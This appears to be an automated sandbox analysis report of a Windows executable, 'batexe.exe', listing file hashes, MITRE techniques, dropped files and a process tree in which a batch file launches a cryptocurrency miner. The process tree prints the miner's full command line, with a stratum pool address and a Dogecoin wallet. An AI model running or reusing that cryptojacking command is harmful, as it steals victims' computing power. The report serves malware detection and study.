73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12/02/2024, 10:12

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4848	b2e.exe
5496	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5496	cpuminer-sse2.exe
5496	cpuminer-sse2.exe
5496	cpuminer-sse2.exe
5496	cpuminer-sse2.exe
5496	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4020-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4020 wrote to memory of 4848	4020	batexe.exe	83
PID 4020 wrote to memory of 4848	4020	batexe.exe	83
PID 4020 wrote to memory of 4848	4020	batexe.exe	83
PID 4848 wrote to memory of 1720	4848	b2e.exe	84
PID 4848 wrote to memory of 1720	4848	b2e.exe	84
PID 4848 wrote to memory of 1720	4848	b2e.exe	84
PID 1720 wrote to memory of 5496	1720	cmd.exe	87
PID 1720 wrote to memory of 5496	1720	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4020
- C:\Users\Admin\AppData\Local\Temp\6060.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6060.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6060.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4848
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\636D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1720
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6060.tmp\b2e.exe

Filesize
17.6MB

MD5
12c03c8eebd2feecfba296dc375622b4

SHA1
21121bf54a9d2362f3130e719af7ed6d4f0e8cb5

SHA256
de3133d01273a2ebfca3dcf2b80e9362e9f1ba59e1a4c750eaa4c253f778404c

SHA512
bf7f4277a32af5d3c0b7b74b7b9a537c6b9fea20e4d47bbdb0c700e552c2fb76d5b8fb7a5219112f6cc3f9fc864df61836dd75ec13474521228293ad2ad68eb4

Download Submit
C:\Users\Admin\AppData\Local\Temp\6060.tmp\b2e.exe

Filesize
8.0MB

MD5
8c1f6414f28585fc0e6b910413d22e74

SHA1
2e3466b62812d37331f1aca3078d39a4b3194414

SHA256
d146a9a4cb45220e09c9bcd2c27a90049a3e503c48d6345f59b0d1b1ca2c9e1c

SHA512
8040360bbfc263d21aae4c1034387a7fc50d15e4ad8f622f73576def9cfa92fa5377b9a8a42e78673a3877a4fcdf8be5fc4a31088e0bee0f8ca2e782811cda73

Download Submit
C:\Users\Admin\AppData\Local\Temp\6060.tmp\b2e.exe

Filesize
6.2MB

MD5
49b498f134fa1cb1c814fd10ad0dfcc6

SHA1
c3757d8bb90875fd0dd85bb28c063f1c6bcfa5fd

SHA256
98f45bf9a0e06af825ec5b3380f5ca050cfb26a3a208dc4701dbe4b448e1f734

SHA512
0a62a643d16c7b2ec3ae17f0d8c729c4fbe1fb06275934d2812471b0201d374092f2f6990583076e7bf88830e4f5889b7ab845edf0b914c7776965e394f34ef7

Download Submit
C:\Users\Admin\AppData\Local\Temp\636D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.6MB

MD5
fbc6986d0b282044d62bdc8e6ddef141

SHA1
637151872a5e110a0413926fde352a9c5558a269

SHA256
8652a795b0c60dc45c16f5da4797c14fdec7c23580b753b2a557403d61ab416f

SHA512
069262697158ef0a71a9ff0e77e1c6064a6e9e1886b9ba4d1ed6acdd4a9a8e3969c446c0345c8b8ce017f82f7c63111c2f2b76d74be3e395302e1cda7e52af5e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.7MB

MD5
77fd70eb91f77353d8f80d9bdf3b0e35

SHA1
2ca93b902d372e3dae5ea1788903dbe4efb07899

SHA256
51801ddaea7ae1393d4e71bfd94dbf67e725da4da7509b9161fb8e0e499175e3

SHA512
f2715e964e15aa28588a57fbd64fc7102f213241a57b016bac3070dd72e9da97397c749df6b5a63f285d204e4738f8fee47d801e991ba588f5eddc4740a1efeb

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.7MB

MD5
edffaa1104598bb40efbd9119db2c743

SHA1
a69de23c200b022638a5dd006f8ff09a71eda614

SHA256
a13d3430c1d5b57a1bb93f11c54f735bce32283a0c4fb209ff43fd9c7ad75706

SHA512
a909d09d7b19e696131cbfb9b8654ebd22ea410e536f3c34f22ddd1b8b8bd79febeca10be4c99321f5f6ee61d68ab9ebabd8c51163ae23ae3fed72e5bf48fd08

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/4020-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4848-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4848-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5496-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5496-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-46-0x000000006EB00000-0x000000006EB98000-memory.dmp

Filesize
608KB

Download
memory/5496-47-0x0000000001030000-0x00000000028E5000-memory.dmp

Filesize
24.7MB

Download
memory/5496-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5496-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download